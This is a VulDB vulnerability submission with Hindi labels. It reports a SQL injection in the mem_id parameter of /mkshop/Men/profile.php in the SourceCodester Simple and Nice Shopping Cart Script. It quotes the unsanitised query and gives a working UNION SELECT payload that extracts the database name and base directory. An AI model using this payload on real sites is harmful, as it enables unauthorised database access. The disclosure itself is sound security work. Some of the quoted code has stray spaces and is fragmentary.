| शीर्षक | The simple and beautiful PHP shopping cart system has a SQL injection vulnerability. |
|---|
| विवरण | The simple and beautiful PHP shopping cart system has a SQL injection vulnerability.
Vulnerability file location: / mkshop / Men / profile.php
look at this source code
```
$id =$_ GET['mem_id'];
password='$password' WHERE mem_ id = '$id' ")or die(mysqli_error());
```
The $ID is not protected here. Malicious data can be constructed here to attack the website database.
The construction statement is as follows
```
? mem_ id=0' union select 1,database(),3,@@basedir,5,6,7,8--+
```
https://s1.ax1x.com/2022/08/14/vUSruD.png
Source link
https://www.sourcecodester.com/php/12579/simple-and-nice-shopping-cart-script.html |
|---|
| स्रोत | ⚠️ https://www.sourcecodester.com/php/12579/simple-and-nice-shopping-cart-script.html |
|---|
| उपयोगकर्ता | qidian (UID 30810) |
|---|
| सबमिशन | 22/08/2022 02:12 PM (4 साल पहले) |
|---|
| संयम | 23/08/2022 10:38 AM (20 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 207001 [SourceCodester Simple and Nice Shopping Cart Script /mkshop/Men/profile.php mem_id SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|